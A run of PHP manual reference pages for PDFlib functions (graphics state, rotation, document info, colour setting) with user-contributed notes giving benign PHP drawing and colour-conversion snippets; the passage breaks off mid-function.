PDF_pcos_get_stream
PDF Functions


Get contents of pCOS path with type stream, fstream, or string

PDF_pcos_get_number
PDF_pcos_get_string
PDF Functions
PHP Manual

PDF_pcos_get_stream

(PECL pdflib >= 2.1.0)

PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string

Description

string PDF_pcos_get_stream ( resource $p , int $doc , string $optlist , string $path )

Gets the contents of a pCOS path with type stream, fstream, or string.

User Contributed Notes

There are no user contributed notes for this page.
PDF_pcos_get_number
PDF_pcos_get_string
PDF Functions


Get value of pCOS path with type name, string, or boolean

PDF_pcos_get_stream
PDF_place_image
PDF Functions
PHP Manual

PDF_pcos_get_string

(PECL pdflib >= 2.1.0)

PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean

Description

string PDF_pcos_get_string ( resource $p , int $doc , string $path )

Gets the value of a pCOS path with type name, string, or boolean.

User Contributed Notes

There are no user contributed notes for this page.
PDF_pcos_get_stream
PDF_place_image
PDF Functions


Place image on the page [deprecated]

PDF_pcos_get_string
PDF_place_pdi_page
PDF Functions
PHP Manual

PDF_place_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_place_image — Place image on the page [deprecated]

Description

bool PDF_place_image ( resource $pdfdoc , int $image , float $x , float $y , float $scale )

Places an image and scales it. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 5, use PDF_fit_image() instead.

User Contributed Notes

admin at internettech dot ca 06-Aug-2005 11:05
Contrary to the previous post, this function (pdf_place_image)  is deprecated.
Use pdf_fit_image() instead.  pdf_fit_image() takes the same parameters but read the PDFlib manual.

You should be using and reading the PDFlib manual along with the PHP manual to be current while writing your code.

To see all the internal functions available in the PDFlib try this:

$arr = get_defined_functions();
foreach(array_values($arr['internal']) as $arrVal){
    if(strtolower(substr($arrVal,0,3))== "pdf") print($arrVal."<br>");
}

Please do your homework before posting a note that contradicts someone else’s note.
stry_cat at yahoo dot com 05-Aug-2005 06:36
bmironov at jonview dot com on 24-Jun-2003 03:58 said
> This function deprecated since PDFlib v5.0

I think you're confused.  The depreciated function was pdf_put_image not pdf_place_image.

If this is also depreciated then we don't have any functions to add images to a PDF.  Not a good thing.
bob at nijman dot de 02-Aug-2001 06:08
FYI:
There's a good reason for the fact that we need two functions

(pdf_open_image_file and pdf_place_image)

to insert an image.
This way we can use the same image more than once without having to store it in the PDF again.
PDF_pcos_get_string
PDF_place_pdi_page
PDF Functions


Place PDF page [deprecated]

PDF_place_image
PDF_process_pdi
PDF Functions
PHP Manual

PDF_place_pdi_page

(PHP 4 >= 4.0.6, PECL pdflib >= 1.0.0)

PDF_place_pdi_page — Place PDF page [deprecated]

Description

bool PDF_place_pdi_page ( resource $pdfdoc , int $page , float $x , float $y , float $sx , float $sy )

Places a PDF page and scales it. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 5, use PDF_fit_pdi_page() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_place_image
PDF_process_pdi
PDF Functions


Process imported PDF document

PDF_place_pdi_page
PDF_rect
PDF Functions
PHP Manual

PDF_process_pdi

(PECL pdflib >= 2.0.0)

PDF_process_pdi — Process imported PDF document

Description

int PDF_process_pdi ( resource $pdfdoc , int $doc , int $page , string $optlist )

Processes certain elements of an imported PDF document.

User Contributed Notes

There are no user contributed notes for this page.
PDF_place_pdi_page
PDF_rect
PDF Functions


Draw rectangle

PDF_process_pdi
PDF_restore
PDF Functions
PHP Manual

PDF_rect

(PHP 4, PECL pdflib >= 1.0.0)

PDF_rect — Draw rectangle

Description

bool PDF_rect ( resource $p , float $x , float $y , float $width , float $height )

Draws a rectangle. Returns TRUE on success or FALSE on failure.

User Contributed Notes

nick 26-May-2010 03:02
In php5 a rectangle with some text in is made like this.

<?php
$p->rect(55,520,400,20);
$p->stroke();

$font = $p->load_font("Helvetica", "winansi", "");
$p->setfont($font, 14.0);
$p->set_text_pos(200, 525);
$p->show("Some text");

?>
stuart at horuskol dot co dot uk 09-Jun-2006 02:14
This section of the manual is really sparse, and there don't seem to be any tutorials out there that go beyond adding a single line of text, so I found this piece of information out by trial and error.

The function only specifies that you want a rectangle at those co-ordinates, and must be followed by a stroke command:

  pdf_rect($pdf, 100, 100, 50, 50);
  pdf_stroke($pdf);

This completes the process of placing the rectangle on the page.
ragnar at deulos dot com 04-Oct-2005 11:09
Be sure of adding a pdf_stroke(resource_pdf) after the pdf_rect function or will take an error in the PDFlib.
tobias at midas dot se 16-May-2002 02:31
Round rectangles

My function to create rectangles width round corners:

<?php
function pdf_roundrect($pdfobj, $xpos, $ypos, $xsize, $ysize, $radius)
{
 $ypos = $ypos+$ysize;
 pdf_moveto($pdfobj, $xpos, $ypos-$radius);
 pdf_lineto($pdfobj, $xpos, $ypos-$ysize+$radius);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$ysize+$radius, $radius, 180, 270);
 pdf_lineto($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize+$radius, $radius, 270, 360);
 pdf_lineto($pdfobj, $xpos+$xsize, $ypos-$radius);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$radius, $radius,0,90);
 pdf_lineto($pdfobj, $xpos+$radius, $ypos);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$radius, $radius,90,180);
}
?>
PDF_process_pdi
PDF_restore
PDF Functions


Restore graphics state

PDF_rect
PDF_resume_page
PDF Functions
PHP Manual

PDF_restore

(PHP 4, PECL pdflib >= 1.0.0)

PDF_restore — Restore graphics state

Description

bool PDF_restore ( resource $p )

Restores the most recently saved graphics state. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 05:11
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
PDF_rect
PDF_resume_page
PDF Functions


Resume page

PDF_restore
PDF_rotate
PDF Functions
PHP Manual

PDF_resume_page

(PECL pdflib >= 2.0.0)

PDF_resume_page — Resume page

Description

bool PDF_resume_page ( resource $pdfdoc , string $optlist )

Resumes a page to add more content to it.

User Contributed Notes

There are no user contributed notes for this page.
PDF_restore
PDF_rotate
PDF Functions


Rotate coordinate system

PDF_resume_page
PDF_save
PDF Functions
PHP Manual

PDF_rotate

(PHP 4, PECL pdflib >= 1.0.0)

PDF_rotate — Rotate coordinate system

Description

bool PDF_rotate ( resource $p , float $phi )

Rotates the coordinate system. Returns TRUE on success or FALSE on failure.

User Contributed Notes

notrub225 at yahoo dot com 11-Feb-2008 08:29
Many of the functions used in the post below are deprecated. Here is the modern Object Oriented version that is almost the same line by line and uses the PDFlib() class:

<?php
    $pdf = new PDFlib();
    $pdf->begin_document("","");
    $pdf->set_info("Creator","images.php");
    $pdf->set_info("Title","Horizontal and Vertical Example");
    // Width of 612, and length of 792 make US Letter Size
    // Dimensions are reversed for Landscape Mode
    $pdf->begin_page_ext(792,612,'');

    $font = $pdf->load_font("Helvetica-Oblique", "iso8859-1", "");
    $pdf->setfont($font, 18);
    $pdf->show_xy("This is horizontal text",50, 300);
    $pdf->rotate(90); /* rotate coordinates */
    $pdf->show_xy("vertical text",300, -400);

    $pdf->rotate(-90); /* rotate coordinates */;
    $pdf->show_xy("This is horizontal text",50, 400);

    $pdf->end_page_ext("");
    $pdf->end_document("");
    $buf = $pdf->get_buffer();
    $len = strlen($buf);
    Header("Content-type: application/pdf");
    Header("Content-Length: $len");
    Header("Content-Disposition: inline; filename=images.pdf");
    echo $buf;
    $pdf->delete();
?>
gman at speakeasy dot net 30-Jan-2003 06:17
Thanks for your help, this is a clean working example ...
<?php
    $pdf = pdf_new();
    pdf_open_file($pdf);
    pdf_set_info($pdf,"Creator","images.php");
    pdf_set_info($pdf,"Title","Horizontal and Vertical Example");
    // Width of 612, and length of 792 make US Letter Size
    // Dimensions are reversed for Landscape Mode
    pdf_begin_page($pdf,792,612);

    pdf_set_font($pdf, "Helvetica-Oblique", 18, "host");
    pdf_show_xy($pdf, "This is horizontal text",50, 300);
    pdf_rotate($pdf, 90); /* rotate coordinates */
    pdf_show_xy($pdf,"vertical text",300, -400);

    pdf_rotate($pdf, -90); /* rotate coordinates */;
    pdf_show_xy($pdf, "This is horizontal text",50, 400);

    pdf_end_page($pdf);
    pdf_close($pdf);
    $buf = pdf_get_buffer($pdf);
    $len = strlen($buf);
    Header("Content-type: application/pdf");
    Header("Content-Length: $len");
    Header("Content-Disposition: inline; filename=images.pdf");
    echo $buf;
    pdf_delete($pdf);
?>
bml137 at myglo dot net 27-Jan-2003 11:11
When you rotate, remember that you are rotating the coordinate system.  So if you are rotating 90 degrees with the origin at (0,0) (bottom-left corner on PDFs) in the clockwise direction, then the pivot appears to be on the top-left of the PDF.  For instance, if you put a sheet of paper on the table in vertical position, then rotate it clockwise 90 degrees by pivoting from the bottom-left corner, the pivot (or origin) will now be in the top-left corner of the horizontal paper.  As you can see, you now have room show text in the +x, -y directions, not +x, +y.
PDF_resume_page
PDF_save
PDF Functions


Save graphics state

PDF_rotate
PDF_scale
PDF Functions
PHP Manual

PDF_save

(PHP 4, PECL pdflib >= 1.0.0)

PDF_save — Save graphics state

Description

bool PDF_save ( resource $p )

Saves the current graphics state. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 05:12
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
PDF_rotate
PDF_scale
PDF Functions


Scale coordinate system

PDF_save
PDF_set_border_color
PDF Functions
PHP Manual

PDF_scale

(PHP 4, PECL pdflib >= 1.0.0)

PDF_scale — Scale coordinate system

Description

bool PDF_scale ( resource $p , float $sx , float $sy )

Scales the coordinate system. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_save
PDF_set_border_color
PDF Functions


Set border color of annotations [deprecated]

PDF_scale
PDF_set_border_dash
PDF Functions
PHP Manual

PDF_set_border_color

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_border_color — Set border color of annotations [deprecated]

Description

bool PDF_set_border_color ( resource $p , float $red , float $green , float $blue )

Sets the border color for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the option annotcolor in PDF_create_annotation() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_scale
PDF_set_border_dash
PDF Functions


Set border dash style of annotations [deprecated]

PDF_set_border_color
PDF_set_border_style
PDF Functions
PHP Manual

PDF_set_border_dash

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_border_dash — Set border dash style of annotations [deprecated]

Description

bool PDF_set_border_dash ( resource $pdfdoc , float $black , float $white )

Sets the border dash style for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the option dasharray in PDF_create_annotation() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_border_color
PDF_set_border_style
PDF Functions


Set border style of annotations [deprecated]

PDF_set_border_dash
PDF_set_char_spacing
PDF Functions
PHP Manual

PDF_set_border_style

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_border_style — Set border style of annotations [deprecated]

Description

bool PDF_set_border_style ( resource $pdfdoc , string $style , float $width )

Sets the border style for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the options borderstyle and linewidth in PDF_create_annotation() instead.

User Contributed Notes

Captain Len 25-Mar-2004 09:50
If width = 0, the annotation borders will be invisible.
PDF_set_border_dash
PDF_set_char_spacing
PDF Functions


Set character spacing [deprecated]

PDF_set_border_style
PDF_set_duration
PDF Functions
PHP Manual

PDF_set_char_spacing

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_char_spacing — Set character spacing [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with parameter charspacing instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_border_style
PDF_set_duration
PDF Functions


Set duration between pages [deprecated]

PDF_set_char_spacing
PDF_set_gstate
PDF Functions
PHP Manual

PDF_set_duration

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_duration — Set duration between pages [deprecated]

Description

This function is deprecated since PDFlib version 3, use the duration option in PDF_begin_page_ext() or PDF_end_page_ext() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_char_spacing
PDF_set_gstate
PDF Functions


Activate graphics state object

PDF_set_duration
PDF_set_horiz_scaling
PDF Functions
PHP Manual

PDF_set_gstate

(PECL pdflib >= 2.0.0)

PDF_set_gstate — Activate graphics state object

Description

bool PDF_set_gstate ( resource $pdfdoc , int $gstate )

Activates a graphics state object.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_duration
PDF_set_horiz_scaling
PDF Functions


Set horizontal text scaling [deprecated]

PDF_set_gstate
PDF_set_info_author
PDF Functions
PHP Manual

PDF_set_horiz_scaling

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with parameter horizscaling instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_gstate
PDF_set_info_author
PDF Functions


Fill the author document info field [deprecated]

PDF_set_horiz_scaling
PDF_set_info_creator
PDF Functions
PHP Manual

PDF_set_info_author

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_author — Fill the author document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_horiz_scaling
PDF_set_info_creator
PDF Functions


Fill the creator document info field [deprecated]

PDF_set_info_author
PDF_set_info_keywords
PDF Functions
PHP Manual

PDF_set_info_creator

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_creator — Fill the creator document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_info_author
PDF_set_info_keywords
PDF Functions


Fill the keywords document info field [deprecated]

PDF_set_info_creator
PDF_set_info_subject
PDF Functions
PHP Manual

PDF_set_info_keywords

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_keywords — Fill the keywords document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_info_creator
PDF_set_info_subject
PDF Functions


Fill the subject document info field [deprecated]

PDF_set_info_keywords
PDF_set_info_title
PDF Functions
PHP Manual

PDF_set_info_subject

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_subject — Fill the subject document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_info_keywords
PDF_set_info_title
PDF Functions


Fill the title document info field [deprecated]

PDF_set_info_subject
PDF_set_info
PDF Functions
PHP Manual

PDF_set_info_title

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_title — Fill the title document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_info_subject
PDF_set_info
PDF Functions


Fill document info field

PDF_set_info_title
PDF_set_layer_dependency
PDF Functions
PHP Manual

PDF_set_info

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_info — Fill document info field

Description

bool PDF_set_info ( resource $p , string $key , string $value )

Fill document information field key with value. Returns TRUE on success or FALSE on failure.

User Contributed Notes

many dot uy at hotmail dot com 13-Jun-2008 09:48
<?php
$pdf = pdf_new();

pdf_open_file($pdf, "test.pdf");

// set PDF properties
pdf_set_info($pdf, "Author", "Martín Gonzalez");
pdf_set_info($pdf, "Title", "Test PDF");
pdf_set_info($pdf, "Creator", "Martín Gonzalez");
pdf_set_info($pdf, "Subject", "Test  PDF");

?>
mrmueller at gmx dot com 10-Sep-2006 08:00
If the first example does'nt show the correct dcoument property in Acrobat Reader, you should change first letters of the paramentes in capital letter. Instead "author" you should type "Author"...

// $pdf is the name of the pdf ducoment you created.
pdf_set_info($pdf, "Author", "Ahmed");
pdf_set_info($pdf, "Title", "PDF tutorial");
pdf_set_info($pdf, "Subject" , "PDF tutorial");
pdf_set_info($pdf, "Creator", "phpnet");
PDF_set_info_title
PDF_set_layer_dependency
PDF Functions


Define relationships among layers

PDF_set_info
PDF_set_leading
PDF Functions
PHP Manual

PDF_set_layer_dependency

(PECL pdflib >= 2.0.0)

PDF_set_layer_dependency — Define relationships among layers

Description

bool PDF_set_layer_dependency ( resource $pdfdoc , string $type , string $optlist )

Defines hierarchical and group relationships among layers. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_info
PDF_set_leading
PDF Functions


Set distance between text lines [deprecated]

PDF_set_layer_dependency
PDF_set_parameter
PDF Functions
PHP Manual

PDF_set_leading

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_leading — Set distance between text lines [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the parameter leading instead.

User Contributed Notes

staemmler at gmx dot de 30-Nov-2000 09:22
You need to call pdf_set_leading() before pdf_continue_text() every time for proper work.
PDF_set_layer_dependency
PDF_set_parameter
PDF Functions


Set string parameter

PDF_set_leading
PDF_set_text_matrix
PDF Functions
PHP Manual

PDF_set_parameter

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_parameter — Set string parameter

Description

bool PDF_set_parameter ( resource $p , string $key , string $value )

Sets some PDFlib parameter with string type. Returns TRUE on success or FALSE on failure.

User Contributed Notes

phillip at formstar dot com 10-Oct-2000 11:12
Here is a list of keywords and possible values:
/*
 * PDF_get_parameter() and PDF_set_parameter() deal with strings,
 * PDF_get_value() and PDF_set_value() deal with numerical values.
 */

/* setup */                                /* value set for 3rd arg */
"compress"    /* set_parameter */            | '[0-9]'
"resourcefile"    /* set_parameter */        Free string
"FontAFM"    /* set_parameter */        Free string
"FontPFM"    /* set_parameter */        Free string
"FontOutline"    /* set_parameter */        Free string
"Encoding"    /* set_parameter */        Free string
"debug"        /* set_parameter */        Free string (if 'c' is 1st char, compress off)
"nodebug"    /* set_parameter */        Free string (if 'c' is 1st char, compress on)
"compatibility"    /* set_parameter */ | '1.2' | '1.3'
"prefix"    /* set_parameter */        Free string
"warning"    /* set_parameter */
"binding"    /* internal use only */
"flush"        /* set_parameter */            |'none' | 'page' | 'content' | 'heavy'

/* page */
"pagewidth"    /* set_value */        | float for pixel value |
"pageheight"    /* set_value */    | float for pixel value |

/* font and text */
"textx"        /* get_value */        | 0 |
"texty"        /* get_value */        | 0 |
"font"        /* get_value */        | 0 |
"fontsize"    /* get_value */        | 0 |
"leading"    /* set_value */        | cur_font_size + points down |
"textrise"    /* set_value */
"horizscaling"    /* set_value */
"textrendering"    /* set_value */
"charspacing"    /* set_value */
"wordspacing"    /* set_value */
"underline"    /* set_parameter */    | 'true' | 'false'
"overline"    /* set_parameter */    | 'true' | 'false'
"strikeout"    /* set_parameter */    | 'true' | 'false'
"fontname"    /* get_parameter */    | 0 - 256 |
"capheight"    /* get_value */        | 0 - 256 |
"ascender"    /* get_value */        | 0 - 256 |
"descender"    /* get_value */        | 0 - 256 |

/* graphics */
"currentx"    /* get_value */        | 0 |
"currenty"    /* get_value */        | 0 |
"fillrule"    /* set_parameter */    |'winding'|'evenodd'

/* image */
"imagewidth"    /* get_value */    | image file descriptor: > 0, < 256 |
"imageheight"    /* get_value */    | image file descriptor: > 0, < 256 |
"resx"        /* get_value */        | image file descriptor: > 0, < 256 |
"resy"        /* get_value */        | image file descriptor: > 0, < 256 |

/* hypertext */
"openaction"    /* set_parameter */ |'retain'|'fitpage'|'fitbbox'|'fitwidth'|'fitheight'
"transition"    /* set_parameter */
"duration"    /* set_value */
max at cnsys dot bg 06-Jul-2000 09:01
About parameters and all about PDF functions you can find at: www.pdflib.com - get the latest version of pdflib with documentation
PDF_set_leading
PDF_set_text_matrix
PDF Functions


Set text matrix [deprecated]

PDF_set_parameter
PDF_set_text_pos
PDF Functions
PHP Manual

PDF_set_text_matrix

(PHP 4 <= 4.0.4)

PDF_set_text_matrix — Set text matrix [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_scale(), PDF_translate(), PDF_rotate(), or PDF_skew() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_parameter
PDF_set_text_pos
PDF Functions


Set text position

PDF_set_text_matrix
PDF_set_text_rendering
PDF Functions
PHP Manual

PDF_set_text_pos

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_pos — Set text position

Description

bool PDF_set_text_pos ( resource $p , float $x , float $y )

Sets the position for text output on the page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_text_matrix
PDF_set_text_rendering
PDF Functions


Determine text rendering [deprecated]

PDF_set_text_pos
PDF_set_text_rise
PDF Functions
PHP Manual

PDF_set_text_rendering

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_rendering — Determine text rendering [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the textrendering parameter instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_text_pos
PDF_set_text_rise
PDF Functions


Set text rise [deprecated]

PDF_set_text_rendering
PDF_set_value
PDF Functions
PHP Manual

PDF_set_text_rise

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_rise — Set text rise [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the textrise parameter instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_text_rendering
PDF_set_value
PDF Functions


Set numerical parameter

PDF_set_text_rise
PDF_set_word_spacing
PDF Functions
PHP Manual

PDF_set_value

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_value — Set numerical parameter

Description

bool PDF_set_value ( resource $p , string $key , float $value )

Sets the value of some PDFlib parameter with numerical type. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bigpub at ifrance dot com 25-Jan-2002 04:22
Sets various minor options in the PDF file. There are a number of available options which are able to be set for various properties including document and font properties.

textrendering  0 - Fill text
1 - Stroke text (outline)
2 - Fill and stroke test
3 - Invisible text
4 - Fill text and add to clipping path
5 - Stroke text and add to clipping path
6 - Fill and stroke text and add to clipping path
7 - Add text to the clipping path

compress  Document compression. Has a range from 0-9 0 - No compression
1 - Best speed
6 - Default value
9 - Best compression

pagewidth  Page width
pageheight  Page height
leading  Text leading or space between lines
textrise  Distance between the text position and the baseline. Positive values move the text up while negative values move the text down. Ideal for superscripts and subscripts
horizscaling  Sets the horizontal text scaling. Must be a value greater than 0. Reset to 100 and the start of a new page
charspacing  Distance between individual characters in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page
wordspacing  Distance between words in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page. Does not affect multi-byte encodings
duration  When using transition effects sets the display duration for the current page. Defailt is 1 second
PDF_set_text_rise
PDF_set_word_spacing
PDF Functions


Set spacing between words [deprecated]

PDF_set_value
PDF_setcolor
PDF Functions
PHP Manual

PDF_set_word_spacing

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_word_spacing — Set spacing between words [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the wordspacing parameter instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_set_value
PDF_setcolor
PDF Functions


Set fill and stroke color

PDF_set_word_spacing
PDF_setdash
PDF Functions
PHP Manual

PDF_setcolor

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setcolor — Set fill and stroke color

Description

bool PDF_setcolor ( resource $p , string $fstype , string $colorspace , float $c1 , float $c2 , float $c3 , float $c4 )

Sets the current color space and color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

cancausecancer at yahoo dot com 14-Jan-2011 04:39
Here is a quick snippet to convert CMYK to RGB. It has better precision than a lot of other solutions that also don't factor in colour profiles.

<?php

$cmyk = '10,20,100,31';
list($c, $m, $y, $k) = explode(',', $cmyk);

# Gets the rgb as floats (cast via (int) if you want int )
$r = (1 - min(($c / 100) * (1 - $k /= 100) + 1 * $k, 1)) * 255;
$g = (1 - min(($m / 100) * (1 - $k) + 1 * $k, 1)) * 255;
$b = (1 - min(($y / 100) * (1 - $k) + 1 * $k, 1)) * 255;

echo "$r $g $b\r\n";

# Converts the rgb to hex with leading 0's
$r = str_pad(dechex($r), 2, '0', STR_PAD_LEFT);
$g = str_pad(dechex($g), 2, '0', STR_PAD_LEFT);
$b = str_pad(dechex($b), 2, '0', STR_PAD_LEFT);

echo "hex: $r$g$b\r\n";

/* an example to see the colour via html
echo '<div style="width: 80px; height: 80px; background-color: #', "$r$g$b", '"></div>';
*/
?>
_meto ALT+q web.de 08-May-2004 09:03
Damn, this took me some real long time! Maybe it's helpfull for those who even have no idea of color-Schemes like me ;)

If u want to generate PDF's for Print Offices u need to set all the colors in CMYK.

Here is a Function that will convert RGB to CMYK

<?
function hex2rgb($hex) {
  $color = str_replace('#','',$hex);
  $rgb = array('r' => hexdec(substr($color,0,2)),
               'g' => hexdec(substr($color,2,2)),
               'b' => hexdec(substr($color,4,2)));
  return $rgb;
}

function rgb2cmyk($var1,$g=0,$b=0) {
   if(is_array($var1)) {
      $r = $var1['r'];
      $g = $var1['g'];
      $b = $var1['b'];
   }
   else $r=$var1;
   $cyan    = 255 - $r;
   $magenta = 255 - $g;
   $yellow  = 255 - $b;
   $black   = min($cyan, $magenta, $yellow);
   $cyan    = @(($cyan    - $black) / (255 - $black)) * 255;
   $magenta = @(($magenta - $black) / (255 - $black)) * 255;
   $yellow  = @(($yellow  - $black) / (255 - $black)) * 255;
   return array('c' => $cyan / 255,
                'm' => $magenta / 255,
                'y' => $yellow / 255,
                'k' => $black / 255);
}

$color=rgb2cmyk(hex2rgb('#FF0000'));
pdf_setcolor($pdf, "both", "cmyk", $color['c'], $color['m'], $color['y'], $color['k']);
?>

U can call it with parameters (r,g,b) or just an array(r,g,b) that contains these values.

Hope it works correct. All testing was fine.
enyo vel cora 13-Jan-2004 04:32
This seems a little less complicated:

this is the color you want to use : 'FF11AA'

<?php
pdf_setcolor ($pdf, 'both', 0xFF / 255, 0x11 / 255, 0xAA / 255);
?>
php at perfectweb dotcom 29-Apr-2003 04:22
Here's a better implementation for setting HTML hexadecimal colors:

function pdf_setcolor_hex($hexcolor, $type = '')
{
    global $pdf;     ## match this to your pdf resource handle
       $color['r'] = hexdec(substr($hexcolor, 0, 2))/255;
       $color['g'] = hexdec(substr($hexcolor, 2, 2))/255;
       $color['b'] = hexdec(substr($hexcolor, 4, 2))/255;
       if ($type != 'fill' && $type != 'stroke')  $type = 'both';
